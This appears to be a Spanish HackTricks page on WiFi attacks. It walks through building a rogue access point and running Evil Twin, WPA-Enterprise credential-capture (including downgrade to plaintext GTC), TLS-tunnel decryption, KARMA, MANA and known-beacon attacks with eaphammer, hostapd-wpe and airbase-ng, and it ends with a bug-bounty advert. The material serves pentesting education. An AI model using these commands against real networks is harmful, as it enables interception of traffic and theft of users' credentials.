Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.

Listas de redes preferidas (PNL)

Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se guarda en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.

Escaneo pasivo

En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las tramas de balizas contienen el ESSID del AP (si la difusión del ESSID no está desactivada).

Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de balizas de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Luego, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a que se conecte a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.

Sondeo activo

El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca.

Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe destacar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi de la misma manera, pero se envían con el campo SSID configurado como NULL. Esto dirige la solicitud de sondeo de difusión a todos los puntos de acceso cercanos, lo que permite a la estación verificar si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.

AP simple con redirección a Internet

Antes de explicar cómo realizar ataques más complejos, se explicará cómo simplemente crear un AP y redirigir su tráfico a una interfaz conectada a Internet.

Usando ifconfig -a, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.

DHCP y DNS

apt-get install dnsmasq #Manages DHCP and DNS

Crea un archivo de configuración /etc/dnsmasq.conf de la siguiente manera:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Luego, configura las IPs y rutas:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Y luego inicia dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd es un daemon de punto de acceso inalámbrico que se utiliza para crear y gestionar puntos de acceso Wi-Fi en sistemas Linux. Proporciona una interfaz para configurar y controlar diversas funciones relacionadas con el punto de acceso, como la autenticación de clientes, el cifrado de datos y la gestión de la conexión.

Para utilizar hostapd, primero debes asegurarte de que tu adaptador inalámbrico es compatible con el modo de punto de acceso. Luego, puedes configurar el archivo de configuración de hostapd para especificar los parámetros necesarios, como el SSID (nombre de la red), el modo de autenticación y el cifrado.

Una vez que hayas configurado hostapd, puedes iniciar el punto de acceso ejecutando el comando hostapd /ruta/al/archivo/configuracion. Esto iniciará el punto de acceso y permitirá que los dispositivos se conecten a él.

Es importante tener en cuenta que el uso de hostapd para crear un punto de acceso Wi-Fi puede tener implicaciones legales y de seguridad. Siempre debes asegurarte de tener permiso para utilizar y configurar un punto de acceso Wi-Fi antes de hacerlo. Además, es importante tomar medidas para proteger la red y los datos de los usuarios, como utilizar un cifrado seguro y una autenticación adecuada.

apt-get install hostapd

Crear un archivo de configuración hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Detener procesos molestos, establecer el modo monitor y iniciar hostapd:

# Stop annoying processes
sudo airmon-ng check kill

# Set monitor mode
sudo airmon-ng start wlan0

# Start hostapd
sudo hostapd /etc/hostapd/hostapd.conf

Detener procesos molestos, establecer el modo monitor y iniciar hostapd:

# Detener procesos molestos
sudo airmon-ng check kill

# Establecer modo monitor
sudo airmon-ng start wlan0

# Iniciar hostapd
sudo hostapd /etc/hostapd/hostapd.conf
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Reenvío y Redirección

Forwarding and redirection are techniques used in network traffic manipulation to redirect data packets from one destination to another. These techniques are commonly used in pentesting WiFi networks to intercept and redirect network traffic for analysis and exploitation.

Forwarding

Forwarding involves capturing network traffic and forwarding it to a different destination than originally intended. This can be done by configuring the network devices, such as routers or switches, to redirect the traffic to a specific IP address or port. By intercepting and forwarding the traffic, a pentester can analyze the data packets and gain insights into the network's vulnerabilities.

Redirection

Redirection, on the other hand, involves redirecting network traffic to a different network or device. This can be achieved by manipulating the network settings or by using tools and techniques like DNS spoofing or ARP poisoning. By redirecting the traffic, a pentester can redirect the communication between devices to their own machine, allowing them to intercept and analyze the data packets for potential vulnerabilities.

Both forwarding and redirection techniques are valuable in pentesting WiFi networks as they allow the pentester to intercept and analyze network traffic, identify potential vulnerabilities, and exploit them for further penetration testing activities. However, it is important to note that these techniques should only be used in controlled environments and with proper authorization to avoid any legal consequences.

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Un ataque de Evil Twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo ven el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse con el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tienen varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.

Debido a cómo funcionan los clientes (recuerda que el protocolo 802.11 permite a las estaciones moverse libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Esto se puede lograr ofreciendo una señal mejor (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencia o algún otro tipo de ataque de denegación de servicio).

También debes tener en cuenta que las implementaciones inalámbricas en el mundo real suelen tener más de un punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance visual debido a su ubicación en el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de tu AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidosos) o tengas mucho cuidado con la ubicación del AP falso (difícil).

Puedes crear un Evil Twin básico abierto (sin capacidad para enrutar el tráfico a Internet) haciendo lo siguiente:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

También puedes crear un Evil Twin utilizando eaphammer (ten en cuenta que para crear evil twins con eaphammer, la interfaz NO debe estar en modo monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

O utilizando Airgeddon: Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).

Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o puedes hacer un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti, ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo).

Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso...

Evil Twin con WPA/WPA2

Puedes crear un Evil Twin utilizando WPA/2 y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. Sin embargo, para completar el handshake de 4 vías también necesitas conocer la contraseña que el cliente va a utilizar. Si no la conoces, la conexión no se completará.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Evil Twin Empresarial

Para comprender estos ataques, recomendaría leer primero la breve explicación de WPA Enterprise.

Usando hostapd-wpe

hostapd-wpe necesita un archivo de configuración para funcionar. Para automatizar la generación de estas configuraciones, puedes usar https://github.com/WJDigby/apd_launchpad (descarga el archivo python dentro de /etc/hostapd-wpe/)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, credenciales/clave, parámetros dh, versión de wpa y autenticación...

Usando hostapd-wpe con EAP-TLS para permitir cualquier certificado para iniciar sesión.

Usando EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Por defecto, EAPHammer utiliza estos métodos de autenticación (nota que GTC es el primero en intentar obtener contraseñas en texto plano y luego se utilizan métodos de autenticación más robustos):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:

--negotiate weakest

O también puedes usar:

  • --negotiate gtc-downgrade para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano).
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que sea mucho más difícil detectar el ataque).
  • Encuentra más información en la wiki

Usando Airgeddon

Airgeddon puede utilizar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder capturar al usuario y el MD5 de la contraseña. Luego, el atacante puede intentar descifrar la contraseña.
Airgeddon te ofrece la posibilidad de un ataque de Evil Twin continuo (ruidoso) o solo crear el ataque de Evil Twin hasta que alguien se conecte (discreto).

Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins

Este método se probó en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS.

Dentro de la configuración de hostapd-wpe, comenta la línea que contiene dh_file (de dh_file=/etc/hostapd-wpe/certs/dh a #dh_file=/etc/hostapd-wpe/certs/dh)
Esto hará que hostapd-wpe intercambie claves utilizando RSA en lugar de DH, por lo que podrás descifrar el tráfico más tarde conociendo la clave privada del servidor.

Ahora inicia el Evil Twin utilizando hostapd-wpe con esa configuración modificada como de costumbre. También, inicia wireshark en la interfaz que está realizando el ataque de Evil Twin.

Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación), puedes agregar la clave privada RSA a wireshark en: Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...

Agrega una nueva entrada y completa el formulario con estos valores: Dirección IP = cualquier -- Puerto = 0 -- Protocolo = datos -- Archivo de clave (selecciona tu archivo de clave, para evitar problemas selecciona un archivo de clave sin protección con contraseña).

Y observa la nueva pestaña "TLS descifrado":

Ataque KARMA, MANA, Loud MANA y beacons conocidos

Listas negras/blancas de ESSID y MAC

La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso a Marcos de Gestión) disponibles, así como sus efectos cuando se utilizan:

# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Los ataques Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar las solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.

MANA

Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques Karma ignorando las respuestas de sondeo dirigidas de los puntos de acceso que aún no han respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones vulnerables a los ataques Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir tales protecciones. En el ataque Karma mejorado de White y de Villiers (ataque MANA), las respuestas de sondeo dirigidas se utilizan para reconstruir las listas de puntos de acceso cercanos (PNL) de las estaciones. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se ha visto en un sondeo directo desde ese dispositivo.

En resumen, el algoritmo MANA funciona de la siguiente manera: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es un sondeo de difusión o dirigido. Si es un sondeo dirigido, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso luego responde con una respuesta de sondeo dirigida. Si es un sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo.

Ataque MANA utilizando eaphammer:

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque Loud MANA

Ten en cuenta que el ataque MANA estándar aún no nos permite atacar dispositivos que no utilizan sondas dirigidas en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.

Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes que se encuentran en proximidad física cercana es probable que tengan al menos algunas entradas comunes en sus PNL.

En resumen, en lugar de responder a las solicitudes de sondeo con cada ESSID en el PNL de un dispositivo en particular, el AP malicioso envía respuestas de sondeo para cada ESSID en todos los PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Ataque de Beacon Conocido

Aún existen casos en los que el ataque Loud MANA no tendrá éxito.
El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de los ESSID para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta un código que envía beacons falsificando los ESSID de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID en su PNL y tratará de conectarse al AP falso.
Eaphammer implementó este ataque como un ataque MANA donde se cargan todos los ESSID de una lista (también se puede combinar esto con --loud para crear un ataque Loud MANA + Beacon Conocido):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque de ráfaga de balizas conocidas

Las balizas conocidas son llamativas. Puedes utilizar un script dentro del proyecto Eaphammer para lanzar rápidamente balizas con cada nombre de ESSID que se encuentre en un archivo. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu punto de acceso.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como punto de acceso (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos de IoT como impresoras, televisores...

Wi-Fi Direct se basa en Wi-Fi Protected Setup (WPS) para conectar de forma segura los dispositivos. WPS tiene varios métodos de configuración como Configuración de botón de presión (PBC), entrada de PIN y Comunicación de campo cercano (NFC).

Por lo tanto, los ataques previamente vistos en el PIN de WPS también son válidos aquí si se utiliza el PIN.

Secuestro de EvilDirect

Esto funciona como un Evil-Twin pero para Wi-Fi Direct, puedes hacerse pasar por un propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0

Referencias

TODO: Echa un vistazo a https://github.com/wifiphisher/wifiphisher (inicio de sesión con Facebook e imitación de WPA en portales cautivos)

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥